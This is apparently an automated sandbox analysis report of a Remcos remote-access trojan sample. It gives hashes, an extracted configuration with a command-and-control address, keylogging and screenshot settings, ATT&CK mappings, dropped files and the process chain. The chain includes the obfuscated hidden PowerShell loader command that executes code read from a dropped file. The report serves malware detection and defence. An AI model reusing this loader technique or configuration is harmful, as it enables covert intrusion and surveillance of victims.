remcos | 5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2024 12:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

comprobante.exe
Size

1.1MB
MD5

6d3f0aac19f5bae4c91bb3371b867852
SHA1

d63b777dd2fd2a1663bafb85948fa56477935796
SHA256

5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c
SHA512

46f717d0a28a490e2631620f8be91d8b603d872c5db6fe59e062d3dd10fb7c4e5351f73ff65dd451acb790fe3a49a4494c7bd49e5e2ba1b87cb4ba71df7fa530
SSDEEP

24576:QS8Rx57ZVv0of1RkVZzoOQxdVo18vBtpPibYy:uzZnv0of1RkgOQxdGctwr

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

176.10.80.43:3050

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-L6TTXL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
464	powershell.exe

Loads dropped DLL 1 IoCs

Processes:

luskendes.exe

pid	Process
1344	luskendes.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

luskendes.exe

pid	Process
1344	luskendes.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeluskendes.exe

pid	Process
464	powershell.exe
1344	luskendes.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

comprobante.exepowershell.exeluskendes.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	comprobante.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	luskendes.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
behavioral2/files/0x0009000000023cc8-73.dat	nsis_installer_1
behavioral2/files/0x0009000000023cc8-73.dat	nsis_installer_2

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exe

pid	Process
464	powershell.exe
464	powershell.exe
464	powershell.exe
464	powershell.exe
464	powershell.exe
464	powershell.exe
464	powershell.exe
464	powershell.exe
464	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid	Process
464	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	464	powershell.exe
Token: SeIncreaseQuotaPrivilege	464	powershell.exe
Token: SeSecurityPrivilege	464	powershell.exe
Token: SeTakeOwnershipPrivilege	464	powershell.exe
Token: SeLoadDriverPrivilege	464	powershell.exe
Token: SeSystemProfilePrivilege	464	powershell.exe
Token: SeSystemtimePrivilege	464	powershell.exe
Token: SeProfSingleProcessPrivilege	464	powershell.exe
Token: SeIncBasePriorityPrivilege	464	powershell.exe
Token: SeCreatePagefilePrivilege	464	powershell.exe
Token: SeBackupPrivilege	464	powershell.exe
Token: SeRestorePrivilege	464	powershell.exe
Token: SeShutdownPrivilege	464	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe
Token: SeSystemEnvironmentPrivilege	464	powershell.exe
Token: SeRemoteShutdownPrivilege	464	powershell.exe
Token: SeUndockPrivilege	464	powershell.exe
Token: SeManageVolumePrivilege	464	powershell.exe
Token: 33	464	powershell.exe
Token: 34	464	powershell.exe
Token: 35	464	powershell.exe
Token: 36	464	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

luskendes.exe

pid	Process
1344	luskendes.exe

Suspicious use of SendNotifyMessage 1 IoCs

Processes:

luskendes.exe

pid	Process
1344	luskendes.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

comprobante.exepowershell.exe

description	pid	Process	procid_target
PID 1856 wrote to memory of 464	1856	comprobante.exe	84
PID 1856 wrote to memory of 464	1856	comprobante.exe	84
PID 1856 wrote to memory of 464	1856	comprobante.exe	84
PID 464 wrote to memory of 1344	464	powershell.exe	93
PID 464 wrote to memory of 1344	464	powershell.exe	93
PID 464 wrote to memory of 1344	464	powershell.exe	93
PID 464 wrote to memory of 1344	464	powershell.exe	93

C:\Users\Admin\AppData\Local\Temp\comprobante.exe
"C:\Users\Admin\AppData\Local\Temp\comprobante.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Haokah=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\groupies\Fraiche.Cui';$Ssterskibets=$Haokah.SubString(53203,3);.$Ssterskibets($Haokah)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Users\Admin\AppData\Local\Temp\luskendes.exe
    "C:\Users\Admin\AppData\Local\Temp\luskendes.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_etz5d0gm.c45.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\groupies\Blndrammernes.Pol

Filesize
304KB

MD5
b1faa03637fbe657b0d70562afa791f4

SHA1
307c1d804b5818b4cd2ddd4d7bc837747beb3dd1

SHA256
fffafad8bf991904296baa85ed0971904dc6fa26b98a3197c276fd277c850fb5

SHA512
b538b8fe48d224f4642345dc949aa42a5d3b3aa06f0253cca9352656e760fb9f8d4947ebce6f6975886c1d8d02953d0cece0e5af3e016bec6d494a2eb23f5231

Download Submit
C:\Users\Admin\AppData\Local\Temp\groupies\Fraiche.Cui

Filesize
52KB

MD5
63d5ccbfe881421a78f178a4a02f769a

SHA1
c700b0183dba755052657d22746069364218f98e

SHA256
ceeef787fe9f17c084c9450e398b9d23efe036931fcbbedd1eabd9745f5662b5

SHA512
d551d7b4d7309a5d0660a53ccad672f442bc4b3de88ebff9a5ff269c56f50cd9000bb96f2479e480bba8b1f312277aa12ddefc5156dfe81c65b43f42ffa2a9a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\luskendes.exe

Filesize
1.1MB

MD5
6d3f0aac19f5bae4c91bb3371b867852

SHA1
d63b777dd2fd2a1663bafb85948fa56477935796

SHA256
5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c

SHA512
46f717d0a28a490e2631620f8be91d8b603d872c5db6fe59e062d3dd10fb7c4e5351f73ff65dd451acb790fe3a49a4494c7bd49e5e2ba1b87cb4ba71df7fa530

Download Submit
memory/464-8-0x000000007367E000-0x000000007367F000-memory.dmp

Filesize
4KB

Download
memory/464-9-0x0000000000DB0000-0x0000000000DE6000-memory.dmp

Filesize
216KB

Download
memory/464-11-0x0000000004D40000-0x0000000005368000-memory.dmp

Filesize
6.2MB

Download
memory/464-10-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-12-0x0000000004B80000-0x0000000004BA2000-memory.dmp

Filesize
136KB

Download
memory/464-13-0x0000000005470000-0x00000000054D6000-memory.dmp

Filesize
408KB

Download
memory/464-15-0x00000000054E0000-0x0000000005546000-memory.dmp

Filesize
408KB

Download
memory/464-14-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-21-0x0000000005580000-0x00000000058D4000-memory.dmp

Filesize
3.3MB

Download
memory/464-26-0x0000000005B40000-0x0000000005B5E000-memory.dmp

Filesize
120KB

Download
memory/464-27-0x0000000005B70000-0x0000000005BBC000-memory.dmp

Filesize
304KB

Download
memory/464-28-0x00000000060A0000-0x0000000006136000-memory.dmp

Filesize
600KB

Download
memory/464-29-0x0000000006050000-0x000000000606A000-memory.dmp

Filesize
104KB

Download
memory/464-30-0x0000000006AF0000-0x0000000006B12000-memory.dmp

Filesize
136KB

Download
memory/464-31-0x0000000007180000-0x0000000007724000-memory.dmp

Filesize
5.6MB

Download
memory/464-33-0x0000000007DB0000-0x000000000842A000-memory.dmp

Filesize
6.5MB

Download
memory/464-36-0x000000006FB00000-0x000000006FB4C000-memory.dmp

Filesize
304KB

Download
memory/464-35-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-46-0x0000000006F70000-0x0000000006F8E000-memory.dmp

Filesize
120KB

Download
memory/464-34-0x0000000006F30000-0x0000000006F62000-memory.dmp

Filesize
200KB

Download
memory/464-47-0x0000000006FA0000-0x0000000007043000-memory.dmp

Filesize
652KB

Download
memory/464-48-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-49-0x00000000070A0000-0x00000000070AA000-memory.dmp

Filesize
40KB

Download
memory/464-50-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-51-0x00000000070C0000-0x00000000070D1000-memory.dmp

Filesize
68KB

Download
memory/464-52-0x0000000007110000-0x000000000711E000-memory.dmp

Filesize
56KB

Download
memory/464-53-0x0000000007120000-0x0000000007134000-memory.dmp

Filesize
80KB

Download
memory/464-54-0x0000000007160000-0x000000000717A000-memory.dmp

Filesize
104KB

Download
memory/464-55-0x0000000007150000-0x0000000007158000-memory.dmp

Filesize
32KB

Download
memory/464-56-0x00000000078D0000-0x00000000078FA000-memory.dmp

Filesize
168KB

Download
memory/464-57-0x0000000007900000-0x0000000007924000-memory.dmp

Filesize
144KB

Download
memory/464-58-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-60-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-63-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-62-0x000000007367E000-0x000000007367F000-memory.dmp

Filesize
4KB

Download
memory/464-64-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-65-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-66-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-67-0x0000000008430000-0x000000000DA48000-memory.dmp

Filesize
86.1MB

Download
memory/464-68-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-69-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/464-72-0x0000000073670000-0x0000000073E20000-memory.dmp

Filesize
7.7MB

Download
memory/1344-75-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-79-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-80-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-81-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-82-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-83-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-84-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-85-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-86-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-87-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/1344-89-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download